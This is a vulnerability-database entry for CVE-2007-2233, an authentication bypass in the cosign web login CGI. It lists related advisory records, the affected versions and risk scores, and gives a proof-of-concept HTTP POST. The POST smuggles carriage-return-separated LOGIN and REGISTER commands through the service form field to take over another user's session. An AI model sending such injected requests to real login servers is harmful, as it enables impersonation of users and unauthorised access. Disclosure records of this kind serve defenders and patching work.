Cosign 2.0.1/2.9.4a - CGI Register Command Remote Authentication Bypass
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
 | CVE-2007-2233 | 25 Apr 200715:00 | – | cve |
 | CVE-2007-2233 | 25 Apr 200715:00 | – | cvelist |
 | EUVD-2007-2228 | 7 Oct 202500:30 | – | euvd |
 | CVE-2007-2233 | 25 Apr 200715:19 | – | nvd |
 | CGA-39PM-P475-XXG3 | 29 Jan 202600:42 | – | osv |
| CGA-V6PG-W77R-F94G | 6 Jun 202412:29 | – | osv |
 | Command injection | 25 Apr 200715:19 | – | prion |
source: https://www.securityfocus.com/bid/23424/info
The 'cosign' application is prone to an authentication-bypass vulnerability because it fails to adequately sanitize user-supplied input.
An authenticated attacker can exploit this issue to access services hosted on an affected computer by assuming another user's credentials.
Versions prior to 1.9.4b and 2.0.2a are vulnerable.
POST /cosign-bin/cosign.cgi HTTP/1.0
Host: weblogin.example.com
Cookie: cosign=X
Content-Type: application/x-www-form-urlencoded
Content-Length: N
required=&ref=https%3A%2F%2Fweblogin.example.com%2F&service=cosign-servicename=Y%0DLOGIN cosign=X2 1.2.3.4 username%0DREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2&login=test&password=pass&passcode=&doLogin=Log+InData
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27 Nov 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.5
EPSS0.0199